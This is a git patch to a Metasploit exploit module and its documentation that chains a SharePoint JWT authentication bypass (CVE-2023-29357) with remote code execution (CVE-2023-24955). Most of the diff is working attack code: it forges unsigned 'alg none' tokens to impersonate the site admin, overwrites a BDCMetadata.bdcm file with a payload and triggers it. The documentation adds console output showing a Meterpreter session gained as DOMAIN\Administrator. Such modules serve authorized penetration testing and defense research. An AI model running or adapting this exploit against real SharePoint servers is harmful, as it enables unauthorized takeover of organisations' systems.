From 326b50bd4dd0de71a3e493a07bac6af65eb4e948 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 6 Feb 2024 15:22:21 -0500 Subject: [PATCH] Responded to comments --- ...oint_dynamic_proxy_generator_unauth_rce.md | 11 +- ...dynamic_proxy_generator_auth_bypass_rce.rb | 380 +++++++++--------- 2 files changed, 185 insertions(+), 206 deletions(-) diff --git a/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md index 0e1f2df855d6..68c309f420d2 100644 --- a/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md +++ b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md @@ -76,16 +76,17 @@ msf6 exploit(windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce) > [*] Running automatic check ("set AutoCheck false" to disable) [*] Sharepoint version detected: 16.0.0.10337 [*] Discovered hostname is: sp1 -[*] Discovered domain is: DOMAIN [*] realm: 1a150b01-299a-48a9-afd4-379402fff4de, client_id: 00000003-0000-0ff1-ce00-000000000000 [*] Got Oauth Info: 1a150b01-299a-48a9-afd4-379402fff4de|00000003-0000-0ff1-ce00-000000000000 -[*] Lob id is: KLNfH +[*] Lob id is: XafKHq [*] Successfully impersonated Site Admin: 00000003-0000-0ff1-ce00-000000000000 [+] The target is vulnerable. Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955. -[*] BDCMetadata existed, backing up original data +[*] BDCMetadata file already present on the remote host, backing it up. +[+] Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: /Users/jheysel/.msf4/loot/20240206152102_default_172.16.199.72_sharepoint.confi_163878.txt [+] Payload has been successfully delivered [*] Sending stage (200774 bytes) to 172.16.199.72 -[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.72:57806) at 2024-01-19 14:55:44 -0500 +[+] BDCMetadata.bdcm has been successfully restored to it's original state. +[*] Meterpreter session 4 opened (172.16.199.1:4444 -> 172.16.199.72:51458) at 2024-02-06 15:21:04 -0500 meterpreter > getuid Server username: DOMAIN\Administrator @@ -95,7 +96,7 @@ OS : Windows Server 2022 (10.0 Build 20348). Architecture : x64 System Language : en_US Domain : DOMAIN -Logged On Users : 23 +Logged On Users : 20 Meterpreter : x64/windows meterpreter > ``` \ No newline at end of file diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index e2617ace059d..117c38beb822 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -13,14 +13,8 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck - MSV_AV_EOL = 0x0000 - MSV_AV_NP_COMPUTER_NAME = 0x0001 - MSV_AV_NP_DOMAIN_NAME = 0x0002 - MSV_AV_DNS_COMPUTER_NAME = 0x0003 - MSV_AV_DNS_DOMAIN_NAME = 0x0004 - - class InvalidResponse < StandardError - end + class SharepointError < StandardError; end + class SharepointInvalidResponseError < SharepointError; end def initialize(info = {}) super( @@ -31,7 +25,7 @@ def initialize(info = {}) This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023. - The auth bypass allows attackers to impersonate any valid Sharepoint user. This vulnerability stems from the + The auth bypass allows attackers to impersonate the Sharepoint Admin user. This vulnerability stems from the signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic flaw in the ReadTokenCore() method. @@ -81,95 +75,51 @@ def initialize(info = {}) ) ) register_options([ - OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ]), - OptString.new('HOSTNAME', [ true, 'Hostname of the SharePoint application', '' ]), - OptString.new('USERNAME', [ true, 'A known SharePoint user.', '' ]) + OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ]) ]) end - - def decode_int(byte_string) - byte_string.reverse.unpack('H*')[0].to_i(16) - end - - def decode_string(byte_string) - byte_string.gsub(/\x00/, '') - end - - def parse_ntlm_msg(msg) - target_info_fields = msg[40, 8] - target_info_len = decode_int(target_info_fields[0, 2]) - target_info_offset = decode_int(target_info_fields[4, 4]) - target_info_bytes = msg[target_info_offset, target_info_len] - - target_info = {} - - info_offset = 0 - - while info_offset < target_info_bytes.length - av_id = decode_int(target_info_bytes[info_offset, 2]) - av_len = decode_int(target_info_bytes[info_offset + 2, 2]) - av_value = target_info_bytes[info_offset + 4, av_len] - info_offset += 4 + av_len - - case av_id - when MSV_AV_EOL - # Do nothing - when MSV_AV_NP_COMPUTER_NAME - target_info['MSV_AV_NP_COMPUTER_NAME'] = decode_string(av_value) - when MSV_AV_NP_DOMAIN_NAME - target_info['MSV_AV_NP_DOMAIN_NAME'] = decode_string(av_value) - when MSV_AV_DNS_COMPUTER_NAME - target_info['MSV_AV_DNS_COMPUTER_NAME'] = decode_string(av_value) - when MSV_AV_DNS_DOMAIN_NAME - target_info['MSV_AV_DNS_DOMAIN_NAME'] = decode_string(av_value) - end - end - - target_info - end - - def resolve_target_info - vprint_status('resolving target info') + def resolve_target_hostname res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '_api', 'web'), 'method' => 'GET', 'headers' => { - 'Authorization' => 'NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO', - 'HOST' => datastore['HOSTNAME'] + # The NTLM SSP challenge: 'NTLMSSPHOSTNAME' + 'Authorization' => 'NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO' } }) - if res && res.headers['WWW-Authenticate'] - auth_header = res.headers['WWW-Authenticate'] - if auth_header.include?('NTLM') - msg2 = Rex::Text.decode_base64(auth_header.split('NTLM ')[1]) - return parse_ntlm_msg(msg2) - else - raise InvalidResponse, 'The WWW-Authenticate header did not contain "NTLM"' - end + + if res&.code == 401 && res['WWW-Authenticate'] && res['WWW-Authenticate'].match(/^NTLM\s/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash)) + hostname = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME] + + hostname.force_encoding('UTF-16LE').encode('UTF-8').downcase else - raise InvalidResponse, 'The server did not return a WWW-Authenticate header' + raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header' end end - def get_oauth_info + def get_oauth_info(hostname) vprint_status('getting oauth info') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '_api', 'web'), 'method' => 'GET', 'headers' => { + # The below base64 decoded is: {"alg":"HS256"}{"nbf":"1673410334","exp":"1693410334"}aaa 'Authorization' => 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh', - 'HOST' => datastore['HOSTNAME'] + 'HOST' => hostname } }) + if res && res.headers['WWW-Authenticate'] - raise InvalidResponse, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm="(.+)",client_id="(.+)",trusted_issuers="/ + raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm="(.+)",client_id="(.+)",trusted_issuers="/ realm = Regexp.last_match(1) client_id = Regexp.last_match(2) print_status("realm: #{realm}, client_id: #{client_id}") return realm, client_id else - raise InvalidResponse, 'The server did not return a WWW-Authenticate header with getting OAuth info' + raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header with getting OAuth info' end end @@ -177,138 +127,104 @@ def gen_endpoint_hash(url) Base64.strict_encode64(Digest::SHA256.digest(url.downcase)) end - def gen_token_sid(url, sid) - vprint_status('Generating a token sid') - jwt_token = { - iss: @client_id.to_s, - aud: "#{@client_id}/#{datastore['HOSTNAME']}@#{@realm}", - nbf: '1673410334', - exp: '1725093890', - nameid: sid.to_s, - nii: 'urn:office:idp:activedirectory', - appidacr: '0', - isuser: '0', - ver: 'hashedprooftoken', - endpointurl: gen_endpoint_hash(url).to_s, - isloopback: 'true', - appctx: 'user_impersonation' + def gen_app_proof_token + + jwt_token1 = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}" + + jwt_token2 = { + :iss => "00000003-0000-0ff1-ce00-000000000000", + :aud => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", + :nbf => "1673410334", + :exp => "1725093890", + :nameid => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", + :ver => "hashedprooftoken", + :endpointurl => "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=", + :endpointurlLength => 1, + :isloopback => "true", }.to_json - b64_token = Rex::Text.encode_base64(jwt_token) + + # Spacing doesn't matter in JSON yet using jwt_token2 causes a failure unless these spaces are added + jwt_token2.gsub!('"ver":', ' "ver":') + jwt_token2.gsub!('"endpointurl":', '"endpointurl": ') + jwt_token2.gsub!('"endpointurlLength":', '"endpointurlLength": ') + jwt_token2.gsub!('"isloopback":', ' "isloopback": ') + + b64_token = Rex::Text.encode_base64(jwt_token2) "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" - end - def gen_app_proof_token(url, _username = '') - if @SID.blank? - vprint_status('sid is blank') - - jwt_token1 = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}" - # jwt_token2 = { - # :iss => "00000003-0000-0ff1-ce00-000000000000", - # :aud => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", - # :nbf => "1673410334", - # :exp => "1725093890", - # :nameid => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", - # :ver => "hashedprooftoken", - # :endpointurl => "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=", - # :endpointurlLength => 1, - # :isloopback => "true", - # }.to_json - # - # # Something here isn't right, spacing doesn't matter in JSON yet using jwt_token2 causes a failure unless these spaces being added - # jwt_token2.gsub!('"ver":', ' "ver":') - # jwt_token2.gsub!('"endpointurl":', '"endpointurl": ') - # jwt_token2.gsub!('"endpointurlLength":', '"endpointurlLength": ') - # jwt_token2.gsub!('"isloopback":', ' "isloopback": ') - - print_status(jwt_token1) - - b64_token = Rex::Text.encode_base64(jwt_token1) - "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" - else - gen_token_sid(url, @SID) - end end - def send_get_request(url, user = '') - vprint_status('Sending get request') - token = gen_app_proof_token(url, user) + def send_get_request(url) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url), 'method' => 'GET', - 'headers' => { - 'X-Proof_Token' => token, - 'Authorization' => "Bearer #{token}", - 'Host' => datastore['HOSTNAME'] - } + 'headers' => @auth_headers }) end def send_json_request(url, data) - vprint_status('Sending json request') - token = gen_app_proof_token(url) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url), 'method' => 'POST', 'ctype' => 'application/json', - 'headers' => { - 'X-Proof_Token' => token, - 'Authorization' => "Bearer #{token}", - 'Host' => datastore['HOSTNAME'] - }, + 'headers' => @auth_headers, 'data' => data.to_json }) end def get_current_user - res = send_get_request('/_api/web/currentuser', datastore['USERNAME']) + res = send_get_request('/_api/web/currentuser') if res&.code != 200 - print_error('Failed to get current user') - return nil + raise SharepointInvalidResponseError, 'Failed to get current user' end res.body end - def check - version = sharepoint_get_version - return CheckCode::Unknown('Could not determine the Sharepoint version') if version.nil? + def do_auth_bypass + hostname = resolve_target_hostname + hostname = hostname.split('.')[0] if hostname.include?('.') - print_status("Sharepoint version detected: #{version}") + print_status("Discovered hostname is: #{hostname}") - begin - ntlm_response = resolve_target_info - hostname = ntlm_response['MSV_AV_DNS_COMPUTER_NAME'].split('.')[0] - domain = ntlm_response['MSV_AV_NP_DOMAIN_NAME'] - - print_status("Discovered hostname is: #{hostname}") - print_status("Discovered domain is: #{domain}") - - @realm, @client_id = get_oauth_info - print_status("Got Oauth Info: #{@realm}|#{@client_id}") - @lob_id = Rex::Text.rand_text_alpha(rand(4..8)) - print_status("Lob id is: #{@lob_id}") - rescue InvalidResponse => e - return CheckCode::Safe(e) - end + @realm, @client_id = get_oauth_info(hostname) + print_status("Got Oauth Info: #{@realm}|#{@client_id}") + @lob_id = Rex::Text.rand_text_alpha(rand(4..8)) + print_status("Lob id is: #{@lob_id}") - current_user = get_current_user + token = gen_app_proof_token - if current_user.nil? - return CheckCode::Safe('Unable to identify the current user') - else - current_user =~ %r{(.+)} - return CheckCode::Safe('Unable to identify the LoginName of the current user') unless Regexp.last_match(1) + @auth_headers = { + 'X-PROOF_TOKEN' => token, + 'Authorization' => "Bearer #{token}", + 'HOST' => hostname + } - @user = Regexp.last_match(1) - return CheckCode::Safe('Unable to parse the username from the LoginName received from the target') unless current_user.include?('|') + user_info = get_current_user + raise SharepointInvalidResponseError, 'Unable to identify the current user' if user_info.nil? - @user = current_user.split('|')[1] - end + user_info =~ %r{.+?\|(.+)\|.+?<\/d:LoginName>} + raise SharepointInvalidResponseError, 'Unable to identify the LoginName of the current user' unless Regexp.last_match(1) - if current_user.include?('true') - print_status("Successfully impersonated Site Admin: #{@user}") - CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') + username = Regexp.last_match(1) + if user_info.include?('true') + # The LoginName is formatted like so: i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint + print_status("Successfully impersonated Site Admin: #{username}") else - CheckCode::Safe('Authentication was successfully bypassed via CVE-2023-29357, but the user found is not a site admin. You might want to try with another user.') + raise SharepointError, 'The user found is not a is not a Site Admin, RCE is not possible.' + end + @auth_bypassed = true + end + + def check + version = sharepoint_get_version + return CheckCode::Unknown('Could not determine the Sharepoint version') if version.nil? + + print_status("Sharepoint version detected: #{version}") + + begin + CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') if do_auth_bypass + rescue SharepointInvalidResponseError => e + return CheckCode::Safe(e) end end @@ -329,21 +245,69 @@ class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{ end def drop_and_execute_payload - bdcm_data = "http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdlRevertToSelfFalse" + + bdcm_data = " + + + + + http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl + + + + RevertToSelf + + + + + + + + False + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +" + url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" - token = gen_app_proof_token(url_drop_payload) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url_drop_payload), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-PROOF_TOKEN' => token, - 'Authorization' => "Bearer #{token}", - 'HOST' => datastore['HOSTNAME'] - }, + 'headers' => @auth_headers, 'data' => bdcm_data }) + fail_with(Failure::UnexpectedReply, 'Payload delivery failed') unless res&.code == 200 print_good('Payload has been successfully delivered') entity_id = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" @@ -355,29 +319,43 @@ def drop_and_execute_payload 'uri' => normalize_uri(target_uri.path, '/_vti_bin/client.svc/ProcessQuery'), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-PROOF_TOKEN' => token, - 'Authorization' => "Bearer #{token}", - 'HOST' => datastore['HOSTNAME'] - }, + 'headers' => @auth_headers, 'data' => exec_cmd_data }) + fail_with(Failure::UnexpectedReply, 'Payload execution failed') unless res2&.code == 200 end - def on_new_session + def ensure_target_dir_present + res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders') + if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog') + print_status('BDCMetadata file already present on the remote host, backing it up.') + res_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value") + if res_bdc_metadata&.code == 200 && !res_bdc_metadata&.body.empty? + @backup_bdc_metadata = res_bdc_metadata.body + store_bdcmetadata_loot(res_bdc_metadata.body) + else + print_warning('Failed to backup the existing BDCMetadata.bdcm file') + end + else + body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' } + res_json = send_json_request('/_api/web/folders', body) + if res_json&.code == 201 + print_status('Created BDCM Folder') + else + fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder') + end + end + end + + def on_new_session(_session) url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" - token = gen_app_proof_token(url_drop_payload) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url_drop_payload), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-PROOF_TOKEN' => token, - 'Authorization' => "Bearer #{token}", - 'HOST' => datastore['HOSTNAME'] - }, + 'headers' => @auth_headers, 'data' => @backup_bdc_metadata }) if res&.code == 200 @@ -387,22 +365,22 @@ def on_new_session end end + def store_bdcmetadata_loot(data) + file = store_loot('sharepoint.config', 'text/plain', rhost , data, 'BDCMetadata.bdcm', 'The original BDCMetadata.bdcm file before writing the payload to it') + print_good("Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: #{file}") + end + def exploit - fail_with(Failure::BadConfig, 'AutoCheck must be set to true') unless datastore['AutoCheck'] - res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders') - if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog') - print_status('BDCMetadata file already present on the remote host, backing it up.') - @backup_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value") - else - body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' } - res_json = send_json_request('/_api/web/folders', body) - if res_json&.code == 201 - print_status('Created BDCM Folder') - else - fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder') + # Check to see if authentication has already been bypassed in the check method, if not call do_auth_bypass. + unless @auth_bypassed + begin + do_auth_bypass + rescue SharepointError => e + fail_with(Failure::NoAccess, "Auth By-pass failure: #{e}") end end - + # If /BusinessDataMetadataCatalog does not exist, create it. If it exists and contains BDCMetadata.bdcm, back it up. + ensure_target_dir_present drop_and_execute_payload end end